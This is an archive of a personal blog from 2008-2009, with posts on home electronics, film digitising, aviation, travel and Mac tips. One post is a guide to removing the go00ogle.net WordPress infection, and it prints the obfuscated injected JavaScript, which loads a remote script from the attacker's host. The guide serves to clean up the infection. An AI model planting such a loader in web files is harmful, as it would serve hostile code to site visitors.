blog.ambor.com

Configuring a Cent-a-Meter

noreply@blogger.com (ambanmba) — Sat, 17 Oct 2009 05:42:00 +0000

I recently got a free Cent-a-Meter from the City of Sydney as part of their Household Energy Consumption Trial. It's a great little device that displays instantaneous energy consumption. It's essentially like a little portable electricity meter that gives you a live view of your consumption with various views based on cost / greenhouse gas emissions / raw Wattage / etc.

The device came pre-configured from the City of Sydney, but when I had to change the time due to the Daylight Savings change, it lost all its settings and then wouldn't let me program any of the settings - they simply wouldn't "save" to memory. Instead it just kept reverting to the default settings. I followed the instructions (located here) verbatim, but the settings simply didn't stick.
Annoyed, I kept playing with it until I found a solution. Apparently, it doesn't like it when you change too many settings at one time. Instead, if you change 1 setting at a time, go through the full menu and save, then it will stick. This makes it HIGHLY cumbersome to re-program, hopefully the manufacturer will fix this in future versions.

Leopard Free Screen Recorder

noreply@blogger.com (ambanmba) — Fri, 07 Aug 2009 11:59:00 +0000

Just found a fantastic (and free) screen recorder for Mac OS X Leopard. Don't know why this thing isn't on the first search page of Google! There are tons of pay options, but this has everything you need (click record, and it records the screen). Like good Mac software, "it just works." Download it here: http://www.juniortan.com/Public/Berio.html

How to remove a go00ogle.net infection from your WordPress blog

noreply@blogger.com (ambanmba) — Sun, 26 Jul 2009 03:46:00 +0000

An old high-school buddy of mine in Korea was tearing his hair out trying to remove the go00ogle.net malware script that infected his Wordpress blog (http://www.feetmanseoul.com/). It's a nasty little bugger and one that's not obvious to remove. As of this writing, the script is new enough that there aren't any "how to" guides to remove it. Thanks to a rainy afternoon with nothing else on, I've documented the removal process. Hope it helps!

What you will need:
1. The Firefox Browser
2. The AdBlockPlus plug-in for Firefox
3. A text editor (I used TextWrangler)
4. An FTP client (I used Fetch because the guy is from Dartmouth)

First, confirm that you are infected. Using Firefox go to the page that you think is infected (in my friend's case it was every single Wordpress page including the Admin Dashboard). Then, using AdblockPlus select "Open blockable items" per the image on the left.

If you are infected, you will then see http://go00ogle.net/if.php as one of the scripts (just like in the picture below). You will probably see a bunch of different scripts compared to the picture depending upon your particular configuration (Wordpress version, Plugins, etc.). You can click on the image to enlarge it.

Once you've confirmed that you are infected, you will need to find which of your scripts is calling up the malicious script. Because the little evildoers are a bit sophisticated, you won't simply be able to look at the Page Source, instead you'll need to wade through all the other scripts on your page. The easiest way to do this is to load each script by loading the full URL into your browser and searching through it.

With AdBlockPlus, right-click on each script (except http://go00ogle.net/if.php), and click Open in New Tab. (You can enlarge the picture below for a closer look).

You will see a whole lot of what looks like gobbledygook, but what you're looking for is the code below:

function advQuery(){
  var Host="http://google.com/";Track="/if.php";get=unescape("%6E%65%74");
  document.write(unescape("%3Cscript src='"+Host.substr(0,9)+unescape("\u0030\u0030")+Host.substr(9,5)+get));
  document.write(unescape(Track+"' type='text/javascript'%3E%3C/script%3E"));
 };advQuery();

In my case it was a bit more nicely formatted as per the picture below (click to enlarge).

An easy thing for the bad guys to do is to change the code slightly to make these instructions no longer valid - therefore they may change the above text slightly so it's not exactly the same. [Update]: Looks like they've already begun to modify it, see the comment from 12 August below.

In my case, the infected file was podpress.js, but this won't always necessarily be the case. Since writing this I've heard of someone else having their load-scripts.php file being infected instead.

Update I have now also found it on another site embedded in a theme file (/wp-content/themes/dilectio/dilectio/javascript/tabs.js).

Per the screen shot of AdblockPlus below, I now know the full path to the infected file (click to enlarge)

So then it was just a matter of using my FTP client to download the file, remove the offending bit of code with my text editor, save it and re-upload the file back to the server.

It's a pretty simple fix once you know what to do... but the discovery process was a bit tougher. Hope this helps.

ContempOT - A new Wordpress Theme

noreply@blogger.com (ambanmba) — Sat, 04 Jul 2009 11:20:00 +0000

Click Here to Download

I've been helping someone move his website from Cutenews to Wordpress. Wordpress is a great Blogging platform and the guys that created it also have a service called Wordpress.com whereby they host your site for free; however, you have very little leeway to customise the themes they offer.

My friend became quite attached to the Contempt Wordpress.com theme which is a variant of this Contempt Theme. The available versions of Contempt; however, miss an important feature - the category listing. After messing around for several days, I realised that the only option was to write my own variant with this feature.

On the right is a screenshot (click to enlarge) of what the category listing looks like. It's basically a listing of all the articles in a category. With ContempOT you get this type of listing whenever you select a category, author, archive, etc. Without this feature, most themes will give you the full text (or partial text) of each article. This causes a problem when you have hundreds of articles in each category.

So, if you're interested in trying it out - You can download the ContempOT theme by clicking here.

In case you're wondering how I got the name for the theme, OT are the initials of the site. If you want to see a live example, click here.

Budapest 1948 - Home Movie

noreply@blogger.com (ambanmba) — Sat, 20 Jun 2009 08:06:00 +0000

The image to the left is a frame capture from a movie I recently uploaded to YouTube (Click Here to View). It's been converted from a 1948 film reel shot by my grandfather showing life in and around Budapest shortly after the end of World War II. The image is interesting because it shows the destroyed Széchenyi Chain Bridge as seen from a car traversing a temporary bridge over the Danube. Although all of Budapest's bridges were destroyed by the Germans during the Siege of Budapest, the Chain Bridge is one of the city's iconic structures and it's still shocking to see it destroyed.
While on the surface, the people in the film seem to be living relatively normal lives, if you look at the background you can still see a lot of rubble from the war. What you cannot see are the mental scars from the brutality that all of these people would have gone through only a few years earlier.
I cut the nearly 25 minutes of film footage down to about two and a half minutes to show life across four seasons of 1948. The film is set to music from an old 78rpm record sung by my Great Uncle, Miklós Vig, who unfortunately did not survive the war.
The footage includes the following:

View of Széchenyi Chain Bridge (0:10)
May Day Celebration with Rákosi spelled out by marchers (0:21)
A walk around Pest (near V and VII district?) (0:35)
A boat ride on Lake Balaton with a view of Tihany Abbey (1:17)
A zoo (unknown location) (1:31)
A view of Svábhegy (Schwab Hill) (1:41)
The Gyermekvasút (Childrens' Railway) (1:48)
Ice skating (unknown location) (2:01)

High Quality 8mm Film Conversion

noreply@blogger.com (ambanmba) — Sun, 14 Jun 2009 12:38:00 +0000

Those of you familiar with Sydney may wonder how I took a picture of the Opera House surrounded by cranes. In fact, this is a screen capture of a film shot in 1969 during my father's visit to Australia (click for YouTube link).
For the past several years I've been progressively digitising all our family's old media such as slides and VHS tapes. Doing so provides easy access, easy duplication and an archive that will not degrade in quality over time. The entire contents of my "family archives" fits neatly on a 1GB disk.
The biggest challenge in digitising old media is finding the equipment to play it. Fortunately for most media such as VHS tapes, audio casettes, slides and even vinyl (or shellac) records, it's quite easy and inexpensive to convert them at home. For audio sources, you can typically plug the player (e.g. Walkman, record player) into the Audio-In jack on your computer in conjunction with some free software such as Audacity. For the video sources you can use a fairly inexpensive video capture card. For slides, there are several inexpensive slide scanners.
When digitising the media, I highly suggest capturing at the highest quality possible. The price of digital media will only go down which means the cost of storage will go down. Digitising at a lower quality will just mean re-doing all the work later when you realise you'd prefer higher quality.
For the media mentioned above, you can do it yourself or pay someone to do it. There are many services that take old media and convert them. Essentially this is simply a time trade-off since the quality of a "professional" conversion is not materially better than you can do at home. You are just trading off time for money.
When it comes to 8mm or Super-8 motion picture film the story changes completely. The equipment required to capture the film at high quality is very expensive and would be uneconomic to buy for a conversion of the "family collection." Converting at home usually means projecting the image onto a screen and using a video camera to record the images. The problem is that the frame rate and picture size (aspect ratio) of film is different to modern video and you will be doomed to a poor quality image. The "correct" way to do it is to individually scan each frame and then digitally convert all the frames into a movie. This basically cannot be done at home.
I discovered a place called DVD Infinity which has a proprietary technology to transfer the movie frame-by-frame. They are not cheap, but the quality is incredible. As an example, I posted some clips from a reel taken in 1969 from Sydney onto YouTube. This 40-year-old reel has been stored like most family reels - in a closet, then in a basement. Time hasn't been kind to the colours, but compare this to some of the other 8mm conversions on YouTube to see the quality difference in the DVD Infinity conversion process. Things to notice are: 1) The image is uniformly bright and goes neatly to the edge of the frame with no vigneting. 2) The image does not flicker. 3) The image does not appear to move forward and backward (due to 'slack' in the projector).
I do not work for DVD Infinity, nor do I personally know the owners, nor do I have any commercial relationship with them - just a very happy customer.

AirNZ's First 747-400 to be scrapped - My memories of ZK-NBS

noreply@blogger.com (ambanmba) — Sun, 31 May 2009 06:10:00 +0000

I recently read that Air New Zealand's first Boeing 747-400 (ZK-NBS now 19 years old) will be sent to the scrap yard. In fact, it is the first 747-400 of any carrier to be 'scrapped' - every other -400 built is either active, stored or has been written off (like this one). This marks the beginning of a long sunset for the iconic Boeing 747-400.
I've only had a brief encounter with ZK-NBS, but it was one of my more memorable flights. On July 28, 2001, I left Sydney on a round-the-world ticket headed for Los Angeles and ultimately New York to attend my brother's bachelor party. The plan was then to continue to Atlanta the following week for the wedding and from there to Moscow to attend MAKC and then back to Sydney. Settled into my comfy seat, the trip progressed smoothly for the first 8 hours. Then, lightly dozing in my seat, I noticed that we were making a fairly wide left turn. I first thought we were going around some weather but soon I saw this on the screen and knew something more complicated was happening. I also noticed the flight attendants walking down the aisles and row-by-row waking people up to tell them something. When they got to me the story was that an engine had to be shut down and that we were diverting to Auckland. The stated reason was that Air NZ had a maintenance facility there (but didn't want to divert to HNL instead?). Then another couple of hours into the flight heading back the wrong direction, I see this on the screen. Several things were going through my head, but one of them was that AKL was no longer our final destination. The captain then came on and said that due to the strong headwinds we would no longer have enough fuel to make it to Auckland (nor back to Sydney). So, off we went to Nandi, Fiji (NAN) - landing there after nearly 14 hours of flight time (in 14 hours we could have made it to LAX in the first place!!). The landing was smooth as silk and gave no hint of being done on 3 engines. We were greeted by Fijian customs who set up 2 lanes for "Fiji Citizens" and 2 lanes for "Crew/Other". As there were no Fiji Citizens on board, 2 of the customs guys had a pretty easy time watching everyone else go through the other customs line. That night we all split up and were sent to various resorts on the island. I was also to miss what turned out to be an epic bachelor party in New York. The next day we were told that the engine could not be repaired and that they were diverting another plane from AKL to pick us up. It turns out they sent two (the AKL-HNL flight and the AKL-LAX flight). The passengers on those two flights were only told of their side-trip to NAN after they had departed AKL and were not too happy to meet us in NAN. The other issue was that NAN didn't have enough supplies (or maybe there was no time) to fully cater the aircraft and that night we left NAN bound for LAX with just chips and Coke for the entire flight. Having an entire day in Fiji was fun (but not as much fun as the bachelor party turned out to be) and I managed to also get a few pics of the plane being repaired. Including this one as I boarded the replacement flight to LAX. A little while later (late September 2002), ZK-NBS had another in-flight engine shut down and someone from the NZ Herald newspaper tracked me down based on my photo on airliners.net. Apparently ZK-NBS had (according to the reporter who contacted me) "a string of safety incidents." They bought the rights to use the photo and also interviewed me for an article with the catchy headline "Third air scare for jinxed jumbo jet" (see the full article here), but never used the photo. Ahhh fame, I hope I didn't let it get to my head.

A glimpse of the Moscow Metro

noreply@blogger.com (ambanmba) — Sun, 03 May 2009 04:36:00 +0000

Over 20 years ago, in one of my Doherty Jr. High Social Studies classes I remember Mr. Eiserman mentioning the Moscow Metro and showing us a picture. I don't even clearly remember the topic of the class, and it may not have even been Mr. Eiserman's class, but the picture of the metro stayed etched in my mind and has since been a source of fascination ever since. I'd been to Moscow (including the obligatory rides on the metro) on a number occasions since then, but never with any sort of camera equipment that would work well (and discretely) in the low light of the metro.

Click here to see a photo album that shows some of the incredible architecture of the stations themselves. I don't even know if you're allowed to take pictures, so these were all done fairly discretely - so excuse the poor composition on some of them.

YouTube video demonstrating the frequency of service. This is a 4 minute clip, see how rare it is to have no trains at the station.

YouTube video demonstrating ridership. This is how you get 7 million people per day through the system.

The metro is a true work of art built during a time of rapid development of Soviet society. Moscow was intended to be the capital city of the world proletariat and as such needed an efficient way to carry the millions of the city's workers. Today's Muscovites (7 million of them a day) travel on the nearly 300km of track across 12 lines and 177 stations of the system. The Soviet leaders also wanted to use the metro to show off the great artistic skill of its people to the outside world and also to celebrate their achievements with the people at home.

The operational scale of the system is impressive. On average across the network, a train arrives every 90 seconds. In practice, downtown stations have an even shorter headway. There are timers on the ends of the platform that indicate the number of seconds since the last train's departure - so you always know how long you're likely to wait. Check out the video below:

For further reading, I recommend a great book I found titled simply Moscow Metro (isbn 9785984010030). It's in English and has the history and photos of most of the stations. Of course there is a ton of information on Wikipedia, but not so many photos.

Aeroflot Tupolev Tu-154M trip report

noreply@blogger.com (ambanmba) — Sat, 02 May 2009 06:29:00 +0000

For several years I've been looking for a chance to ride on a Tupolev 154, but living in Australia there aren't so many opportunities. Therefore, on our recent trip to Russia I took care to chose specific Aeroflot flights between Moscow and St. Petersburg to ensure a ride. While both our flights were originally booked on Tu-154s, an equipment change meant that our SVO-LED fligth was on one of Aeroflot's new A320s. Fortunately the return flight was on a Tupolev Tu-154M (reg: RA-85765).

The entire Tu-154 experience was like going back in time about 30 years. This included the sights, sounds and smells of air travel. The Tu-154's three Soloviev D-30 turbofans make an incredible sound and the first two videos capture the sound nicely. The landing video also has the sound of the incredible racket that the thing makes on the ground. This is mostly from the poorly secured internal furnishings. It's also interesting to note that one of the over-wing exits is sealed shut. From the exterior it looks quite dodgy, but if you look at the safety instruction card, it's a documented feature.

To jump straight to the pictures, click here to access the slideshow.
To see the in-flight video, click on this YouTube link.
To see the landing video, click on this YouTube link.
To see the ground equipment, click on this YouTube link.

I have to say that both of our Aeroflot flights were comfortable and on-time with a full meal and drinks on the short hop. This is in contrast to what I've now become accustomed to on the low-cost-carriers I take for similar short hops (SYD-MEL, SYD-BNE, BOS-RIC).

For further reading about the Tupolev 154 series, there is a great article here.

Photos from Avalon 2009 - The Australian International Air Show

noreply@blogger.com (ambanmba) — Fri, 20 Mar 2009 19:59:00 +0000

Last weekend Nick and I flew down to The Australian International Air Show at Avalon Airport outside of Melbourne. By Sydney standards it was a chilly day and the incessant wind and intermittent showers put a bit of a damper on the show. Although the F111c which was going to be one of the show highlights couldn't fly due to the weather, the Jetstar Airbus A320s that we used to fly in and out of Avalon operated without any problems. I have put together a photo album from the trip which has some neat shots in it (including the F/A18s in the photo at the top of this article). They had the usual "crowd pleasers" like the jet-powered truck, a guy on a jetpack, an Interstate S-1A-65F landing on a moving truck, etc. Other interesting aircraft included the still experimental Boeing 737 AEW&C (N361BJ) of which the RAAF is the launch customer; the brand new Boeing 777-300ER (VH-VOZ) of V Australia; the RNZAF Boeing 757-200 (NZ7571) which made an impressive flying display and on which I managed to sneak aboard (on the ground, of course); a stock standard Boeing 747-400 (VH-OEG) of which I made a nice shot of a cross-wind takeoff; a rare commercial example of a McDonald Douglas KC-10 Extender of Omega Air (N9754VV); the Lockheed L1049 Super Constellation (the only example still flying); a bunch of USAF planes that flew-in including a C-5B Galaxy, some B-1B Lancers and a C-17 Globemaster III that demonstrated its impressive short field performance. Overall a great day.

HD Video on Canon Ixus 110IS / Powershot SD960 IS

noreply@blogger.com (ambanmba) — Thu, 12 Mar 2009 09:53:00 +0000

Due to some hot pixels that recently erupted on my trusty old Canon SD800 IS, I decided to upgrade to a new Canon DiG!C 4 based point & shoot. The main reason I got the SD800 3 years ago was the wide 28mm lens. The newly released Ixus 110IS/SD960 IS is the latest evolution of the "wide angle" point & shoot from Canon. The new camera also sports an HD recording mode which really improves the video performance as compared with the SD800. Since these small P&S cameras with tiny CCD sensors and crazy megapixel counts (12.1MP in this case) are notorious for noisy low-light performance, I thought I'd test it out on my walk home.

I've uploaded two videos to YouTube which will quickly show you how well this camera works when shooting hand-held in low light.

Video 1: Dusk (YouTube)
Video 2: Night (YoutTube)

The videos as shown on YouTube are heavily compressed by YouTube and therefore appear quite low in quality. If you have the patience to download the original MOV files from the camera you can find them here - be warned, they are very large files.

Video 1: Dusk (86MB .MOV File)
Video 2: Night (57MB .MOV File)

I've had the camera for basically a day and have three comments:

1) The OPTICAL zoom doesn't work while shooting video and the reason for this (they actually mention it in the manual) is that the microphone would pick up the sound of the zoom motor. You can still do a DIGITAL zoom (which is silent), but obviously at lower quality.

2) I really don't like the look of the camera itself. I wish they kept the older more angular look of the Elph/IXUS/Powershot range.

3) The camera is packed with new whiz-bang features (blink detection, Wii-style interface, etc.) that I still have to play with. It does seem to take nice pictures though :)

Free Value Stream Mapping Symbols

noreply@blogger.com (ambanmba) — Mon, 02 Mar 2009 11:41:00 +0000

Long story short - just just click here to get them.

A few years ago I created a free Harvey Balls font which today is the top viewed page on my site. Packaging non-alphabet graphics into a TrueType Font isn't new, but I think what people like about the Harvey Balls font (other than its price) is that the Harvey Balls are mapped to numbers on the keyboard. This makes it easy to remember how to place any type of Harvey Ball into a document.

Recently I've been looking into Value Stream Mapping (a.k.a. VSM) for a project at work and on the surface VSM seems to lend itself to a graphical font. While there seems to be some debate as to the effectiveness of using software tools, I thought I'd knock together a set of VSM symbols into a font to try it out.

So, if you're interested, just click here to get it. Clicking through to the page, you'll also find the keyboard map which lets you easily produce any of these symbols with a standard keyboard (no need to use the Character Map utility to hunt through the non-typable characters). The other benefit of having these symbols as a font is that you can use it with any software (Powerpoint / Excel / Etc.) on any platform (Mac / PC / Linux / Etc.) that can render TrueType Fonts.

Hungarian Gypsy Music in the Jenolan Caves

noreply@blogger.com (ambanmba) — Sat, 28 Feb 2009 20:53:00 +0000

This weekend we went out to the Jenolan Caves to listen to a Gypsy Music concert by Georg Mertens / The Paganini Duo in the Cathedral Chamber of the Lucas Cave.
The ambiance and acoustics of the cave make it a unique and impressive place to attend an "unplugged" concert. Thanks to the inherent acoustics of the natural limestone formations, there is no need for any sort of amplification equipment at all. As a fan of Eastern European Gypsy music, I was really blown away.

If Gypsy music isn't your thing, they also hold other concerts there as well - just visit the Jenolan Caves web site and click on Concerts.

The caves are a 3 hour drive from downtown Sydney, so such a trip can form part of a nice weekend getaway or a long day-trip, but in either case, it's definitely worth it. To save you the trip, you can click here for a YouTube version of the concert (taken by someone else).

SPENO Rail Grinder in action in Katoomba

noreply@blogger.com (ambanmba) — Sat, 28 Feb 2009 13:40:00 +0000

Although I've long since retired my Tonka Toys, I still love the sight of big machines in action. We were in the Blue Mountains this weekend and stopped in Katoomba for dinner. As we got out of the car, I noticed an interesting looking machine throwing impressive sparks off the nearby train tracks. I initially thought it was a derailed train car being dragged down the track, but on closer inspection realised that it was a SPENO Rail Grinder in action. When it came back for its second pass a few minutes later, I was ready with my camera and had already gotten along this fence to get a better look. Above is my YouTube video of the SPENO in action.

I've gone commercial!

noreply@blogger.com (ambanmba) — Mon, 23 Feb 2009 13:04:00 +0000

What started out as an effort to make a better Harvey Balls font for my personal use at work has turned into a web page that gets the bulk of the hits to my site.
Since the font is free, I've toyed with Google Adsense to see if I could monetise the visits, but it's hardly worth the effort.
Then last weekend a friend of mine mentioned Cafe Press which has a very neat business model. Just a few clicks and in no time I was able to put together a "store" to flog some "consultant chic." Check it out and let me know what you think. You can check out the new store at: http://www.harveyballs.org
One of the items for sale, for example, is this mug which is not only a piece of fine ceramic, but could also be a lifesaver in case you haven't prepared for the meeting and need to "wing it" with a standard agenda. :)

Strange TurboTax Geography

noreply@blogger.com (ambanmba) — Sun, 15 Feb 2009 06:07:00 +0000

I was filling out my U.S. taxes this morning and needed to enter the location where I incurred my foreign housing expenses. Although I suppose "Australia" would have been sufficient, it seems that they want me to be a bit more specific.

I live in a small town called Sydney which some believe is the capital of Australia. To avoid making me type it out, TurboTax conveniently provides a drop-down menu where I can select one of 7 cities or "All Other."

I naively might have thought that they'd just use the top-7 largest cities. Oddly, they went instead with some other system that includes the Gold Coast (fair enough, it's the 6th most populous city in Australia) and Toowoomba (15th most populous). Most puzzling, however, is that they also included Oakey, a rural town situated 160km west of Brisbane with a population of 3,657! HUH?

I think I'll pay a visit to Oakey next time I'm in rural Queensland - after all according to the Wikipedia page it boasts several amenities including an Olympic-sized swimming pool and golf course. Apparently there are several motels and hotels in town providing accommodation, as well as a caravan park catering for tourists. Most conveniently, if I work there, it will be easier to file my U.S. taxes!

Remote Control by SMS with a GSM Phone

noreply@blogger.com (ambanmba) — Sat, 14 Feb 2009 08:09:00 +0000

I have a small web server in our apartment which needs a reliable internet connection 24/7. For one reason or another, either my ISP or my router somehow figure out when we're overseas and use that as an opportunity to break our internet connection. When the connection is broken, the router needs to be rebooted, but when we're overseas I can't do this until we get back (I obviously can't remotely log-in when the network is down).

I contemplated a solution that used a timer to simply turn the power off/on at midnight, but this wasn't an elegant solution since it would lead to unnecessary outages, extra wear and tear, and also would lead to a potential maximum outage of over 23 hours if the outage occurred immediately after a reset.

I also contemplated some fixed-line phone based solutions such as this one or this one, but my entire home is on VoIP so when the network is down, I can't dial-in either. Also, international calls on a mobile phone are expensive, but SMS messages are not.

So, my objective became an ability to remotely switch a device on/off from anywhere in the world using an SMS sent from my mobile phone (which I always carry with me).

I essentially needed to combine three distinct items:

A device to receive SMS messages and send a command to item #2
A device to safely turn the power on/off to a 240V AC device
An inexpensive mobile phone plan for a device to receive SMS messages

Item 1 - SMS receiver / Processor
A Google search came up with some very expensive industrial/enterprise grade solutions such as this and this. There are also some completely DIY solutions such as this one but it requires a specific model of Ericsson phone. I also found a few cheaper "kits" such as this and this which required a specific model of Nokia phone. My view is that having an old mobile phone in the solution just adds another point of failure.

Then I stumbled across this device (RhinoCo TSMS) which is actually intended to be part of a car alarm system. It has a SIM card slot and several inputs/outputs. With this device you can independently control 4 outputs (3 latching and 1 momentary). It also has inputs that can trigger SMSs to be sent. It can send custom messages to (or ring) up to 5 different phone numbers and it can receive commands from an arbitrary number of phones via SMS (with security passwords). This was EXACTLY the device I needed. It's marketed as a car alarm add-on, but this device is essentially a generic SMS/GSM remote control! I was fortunate enough to find a brand new unopened TSMS on eBay for under $150, but they are also available at places that sell car alarms. A list of distributors is given on their web site. I'm sure there are other car alarms with this type of feature as well which could be used in the same way.

Item 2a - Trigger-based Power Switch (Cheap Option)
I decided that I didn't want to hack the actual router (or the router's power supply), so I went looking for a device to switch the 240VAC mains power. The Rhino device above provides an output which is 0V when "off" and 12VDC when "on." So I needed something to take this low voltage and switch the high voltage that goes to the router power supply. The easy option here was to go with a solid state relay (a.k.a. an SSR). The local electronics shop had this one (a HONGFA HFS15 - click here for the data sheet) in stock. It's a pretty standard device that takes an input voltage of 3-32VDC and then switches 240VAC on/off. I won't go into the details of how to assemble this, but keep in mind that you'll be working with DANGEROUS HIGH VOLTAGE POWER. If you need a more step-by-step set of instructions on how to put something like this together, have a look here at this great article at instructables.com.

Item 2b - Trigger-based Power Switch (Easy Option)
If the thought of working with dangerous high voltages puts you off, another option is to use an X10 controller system. All you need then is a "Lamp Module" and a "Trigger Module." The trigger module would take a signal from the car alarm and then send it to the lamp module over the power lines using the X10 protocol. In Australia you can get these items here: (Lamp Module / Trigger Module). In the US you can look here. In Europe you can look here.

Item 3 - Cheap Long Expiry Phone Plan
This whole project is useless without a phone service to access the device. Phone companies (at least those here in Australia) typically want you to sign up for some sort of monthly plan or a pre-paid service with credit that expires in 30 days. After scouring all the major providers, I found that Vodafone currently offers a 365-day prepaid plan which works perfectly! Basically for $20 you get a phone number to receive SMS messages - that's all you need. Incidentally, there is also such a company called iSIM which offers a $10 recharge which lasts 186 days (with 186 day extension for receive-only).

Conclusion
So I put all the pieces together this weekend and it works perfectly! In fact with this setup I can arbitrarily control any 3 devices in the apartment just with my phone. It also has inputs so I can later do some fancy stuff like notifying me if the router is down (with a photodiode on the router's LINK light), etc. My assembled device also has LEDs to tell me the status of the three Rhino TSMS outputs. I found this neat site to help me figure out the right current-limiting resistors to use for the LEDs.

Great Sydney Motorbike Ride

noreply@blogger.com (ambanmba) — Sun, 01 Feb 2009 06:04:00 +0000

A group of us had been planning a bike ride for quite some time and it was starting to look like we were all talk and no action. Then I found this site [sundaymorningrides.com] during an internet surf and it was the catalyst I needed to just send the invite out.

The site is full of great rides all over the world, and there is quite a good list of Australian rides on there. We decided to do the Country and Mountain ride which I can highly recommend. It's got a great mix of speeds / scenery / elevation changes / rest-stop opportunities and the route has little traffic. Given how hot it was out there today, the mountain air was very refreshing.

Rescuing corrupted files from old media

noreply@blogger.com (ambanmba) — Sun, 25 Jan 2009 22:40:00 +0000

I recently found a box of my old (in computer terms) electronic documents dating back from 1996. They were stored on a combination of Zip 100 disks and normal CD-R disks. Given that the sum total of all these disks wouldn't even make a dent on the terabyte drive in my closet, I thought I'd migrate them over. I also wondered how easy it would be to rescue ~10 year old digital media after my successful effort at 80 year old media!

Deep in the bowels of my storage room, I found the parallel port Zip drive (although missing the cables and power supply). I tried my variable power supply and the thing fired up no problems on 5VDC. I was also pleasantly surprised that Iomega still lets you download the drivers for these things. The Zip drives were notorious for the Click of Death, but I had no trouble recovering all the old files.

Then came the CD-Rs which I thought would be the easiest... in fact, most of them had large sections that were unreadable. Lesson for the future: CD-Rs only last about 5 years, so copy them over to new media.

I then stumbled upon an amazing piece of software called JFileRecovery which is not only free, but multi-platform (Mac, Linux, Windows, whatever runs Java). This application will force the computer to retry [a configurable amount of time] until the drive can read the data. If not, it fills it with blank space so that the file is the correct size. For most data files, as long as the beginning is intact, blank spaces in the middle of the file make it still partially (or completely) recoverable.

With this software, I was able to revive virtually all of the .xls, .doc and .ppt files with no noticeable corruption (MS Office does a decent job of opening and "fixing" these corrupt files). As for the photos, most were recoverable but contain obvious glitches in the corrupt area.

So, the next time you have trouble copying a file and you think it's because of corrupt media (you get "time out" "Data Error" "Cyclic Redundancy Check" "CRC Error" "Error performing inpage operation" or similar errors) give JFileRecovery a try.

Recursively MD5 multiple files in OS X Leopard

noreply@blogger.com (ambanmba) — Mon, 12 Jan 2009 08:16:00 +0000

I have an archive of very large files that I would like to preserve into the future. I wanted to produce an MD5 hash of all the files so that as the years pass, I can be certain that the files are exactly the same as they started (i.e. not corrupted by aging storage media). As a Mac user, I knew about the md5 command, but unfortunately this command only works on one file at a time and will not recursively hash a directory full of files. I also knew about the md5deep project which specifically adds this functionality, but alas there wasn't an OS X binary available anywhere that I could find. Upon Googling for such a program, there were a bunch of nice GUI-based programs for Windows, but nothing for OS X.

This morning when I went into work I explained my problem to Brad who suggested that I investigate if the find command would be of any use. Indeed, this was great advice and probably explains why there isn't a ready app in OS X to do it - essentially this functionality is built in!

find * -iname '*.dv' -exec md5 '{}' \; >output.txt

The above command will find all files that match "*.dv" (i.e. any file with an extension of dv) in the current directory and below, and then produce an MD5 hash of that file. It will then output the list of all the md5s to a file called output.txt.

So, basically if you are ever looking for a program where you can drop a folder into it to check and include subfolders to do a particular activity (and you're not afraid to use the command line), you can adapt the technique above by changing the md5 command to any other command.

Why are people so lame at driving?

noreply@blogger.com (ambanmba) — Thu, 08 Jan 2009 02:46:00 +0000

The Toyota had plenty of room, but decided to share my spot.

Sent from my BlackBerry® from Optus

First Post!

noreply@blogger.com (ambanmba) — Fri, 12 Dec 2008 08:56:00 +0000

This is my first post to the blog. I'm basically trying to bootstrap this thing so that I can set up all the files and stuff.